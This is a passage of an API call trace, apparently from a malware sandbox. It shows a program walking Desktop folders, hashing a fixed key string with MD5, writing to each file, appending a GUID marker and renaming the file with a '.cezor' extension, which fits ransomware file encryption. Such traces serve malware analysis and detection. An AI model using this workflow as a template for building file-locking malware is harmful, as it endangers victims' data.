[0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.566] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.566] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f6080 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f6080 | out: hHeap=0x670000) returned 1 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.567] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d690 [0060.567] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d708 [0060.567] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.567] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d708 | out: hHeap=0x670000) returned 1 [0060.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d708 [0060.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.568] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\") returned="0oqCmMdMfyA -VyQ\\" [0060.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4898 [0060.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x50) returned 0x30d09c8 [0060.568] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0060.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0060.568] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5770 [0060.568] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.568] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.568] PathFindFileNameW (pszPath="") returned="" [0060.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e3d0 [0060.568] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc757f9d0, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0xe63d3bb0, ftLastAccessTime.dwHighDateTime=0x1d4c9a0, ftLastWriteTime.dwLowDateTime=0xe63d3bb0, ftLastWriteTime.dwHighDateTime=0x1d4c9a0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.568] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc757f9d0, ftCreationTime.dwHighDateTime=0x1d4c589, ftLastAccessTime.dwLowDateTime=0xe63d3bb0, ftLastAccessTime.dwHighDateTime=0x1d4c9a0, ftLastWriteTime.dwLowDateTime=0xe63d3bb0, ftLastWriteTime.dwHighDateTime=0x1d4c9a0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.568] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4c1e0b0, ftCreationTime.dwHighDateTime=0x1d4cee7, ftLastAccessTime.dwLowDateTime=0x47533a60, ftLastAccessTime.dwHighDateTime=0x1d4c5bb, ftLastWriteTime.dwLowDateTime=0x47533a60, ftLastWriteTime.dwHighDateTime=0x1d4c5bb, nFileSizeHigh=0x0, nFileSizeLow=0x8fff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="am8f6gN_e89TbRknT.wav", cAlternateFileName="AM8F6G~1.WAV")) returned 1 [0060.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d708 [0060.568] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0060.568] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\am8f6gN_e89TbRknT.wav") returned=".wav" [0060.569] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\am8f6gN_e89TbRknT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0oqcmmdmfya -vyq\\am8f6gn_e89tbrknt.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.569] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=36863) returned 1 [0060.569] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.571] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8fd9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.571] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.572] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x8fff, lpOverlapped=0x0) returned 1 [0060.572] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.572] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.572] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.572] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.572] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0060.573] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.573] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.573] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.573] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.573] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.573] GetLastError () returned 0x0 [0060.573] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.573] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0060.574] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8fff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.574] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.574] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.574] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.574] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.574] CloseHandle (hObject=0x5c4) returned 1 [0060.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa0) returned 0x30ee788 [0060.575] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8b0) returned 0x3100c28 [0060.575] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\am8f6gN_e89TbRknT.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0oqcmmdmfya -vyq\\am8f6gn_e89tbrknt.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\am8f6gN_e89TbRknT.wav.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0oqcmmdmfya -vyq\\am8f6gn_e89tbrknt.wav.cezor")) returned 1 [0060.577] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeadf23d0, ftCreationTime.dwHighDateTime=0x1d4d153, ftLastAccessTime.dwLowDateTime=0xc846650, ftLastAccessTime.dwHighDateTime=0x1d4cb76, ftLastWriteTime.dwLowDateTime=0xc846650, ftLastWriteTime.dwHighDateTime=0x1d4cb76, nFileSizeHigh=0x0, nFileSizeLow=0x15bd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gW8MJuJm9dKBS.swf", cAlternateFileName="GW8MJU~1.SWF")) returned 1 [0060.577] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d708 [0060.577] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0060.577] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\gW8MJuJm9dKBS.swf") returned=".swf" [0060.577] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\gW8MJuJm9dKBS.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0oqcmmdmfya -vyq\\gw8mjujm9dkbs.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.577] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=89045) returned 1 [0060.577] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.579] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15baf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.579] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.580] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x15bd5, lpOverlapped=0x0) returned 1 [0060.581] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.581] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.581] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.581] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0060.582] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.582] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.582] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.582] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.582] GetLastError () returned 0x0 [0060.582] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.582] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0060.582] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15bd5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.583] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.583] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.583] CloseHandle (hObject=0x5c4) returned 1 [0060.584] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\gW8MJuJm9dKBS.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0oqcmmdmfya -vyq\\gw8mjujm9dkbs.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\0oqCmMdMfyA -VyQ\\gW8MJuJm9dKBS.swf.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\0oqcmmdmfya -vyq\\gw8mjujm9dkbs.swf.cezor")) returned 1 [0060.585] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeadf23d0, ftCreationTime.dwHighDateTime=0x1d4d153, ftLastAccessTime.dwLowDateTime=0xc846650, ftLastAccessTime.dwHighDateTime=0x1d4cb76, ftLastWriteTime.dwLowDateTime=0xc846650, ftLastWriteTime.dwHighDateTime=0x1d4cb76, nFileSizeHigh=0x0, nFileSizeLow=0x15bd5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="gW8MJuJm9dKBS.swf", cAlternateFileName="GW8MJU~1.SWF")) returned 0 [0060.585] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.585] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.585] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.585] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\") returned="cJ1uF3yzdYr\\" [0060.585] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0060.585] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0060.585] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0060.585] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0060.585] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0060.585] PathFindFileNameW (pszPath="") returned="" [0060.585] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3c82d80, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x50fb1660, ftLastAccessTime.dwHighDateTime=0x1d4c538, ftLastWriteTime.dwLowDateTime=0x50fb1660, ftLastWriteTime.dwHighDateTime=0x1d4c538, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0060.586] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d708 | out: hHeap=0x670000) returned 1 [0060.586] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3c82d80, ftCreationTime.dwHighDateTime=0x1d4c987, ftLastAccessTime.dwLowDateTime=0x50fb1660, ftLastAccessTime.dwHighDateTime=0x1d4c538, ftLastWriteTime.dwLowDateTime=0x50fb1660, ftLastWriteTime.dwHighDateTime=0x1d4c538, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.586] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e23160, ftCreationTime.dwHighDateTime=0x1d4c9c0, ftLastAccessTime.dwLowDateTime=0x8dd82a10, ftLastAccessTime.dwHighDateTime=0x1d4d28e, ftLastWriteTime.dwLowDateTime=0x8dd82a10, ftLastWriteTime.dwHighDateTime=0x1d4d28e, nFileSizeHigh=0x0, nFileSizeLow=0x8963, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4_mbPPGlzHp_oUuJ-H3Z.bmp", cAlternateFileName="4_MBPP~1.BMP")) returned 1 [0060.586] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\4_mbPPGlzHp_oUuJ-H3Z.bmp") returned=".bmp" [0060.586] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\4_mbPPGlzHp_oUuJ-H3Z.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\4_mbppglzhp_ouuj-h3z.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.586] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=35171) returned 1 [0060.586] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.588] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x893d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.588] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.589] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.589] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.589] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.589] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x8963, lpOverlapped=0x0) returned 1 [0060.589] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.589] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.589] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.589] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.590] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0060.590] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.590] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.590] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.590] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.590] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.590] GetLastError () returned 0x0 [0060.590] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.590] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0060.590] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.590] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8960) returned 0x3132418 [0060.591] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.591] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.591] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0x895e, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0x895e, lpOverlapped=0x0) returned 1 [0060.591] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.591] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x8963, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.591] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.591] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.591] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.591] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.591] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.591] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.591] WriteFile (in: 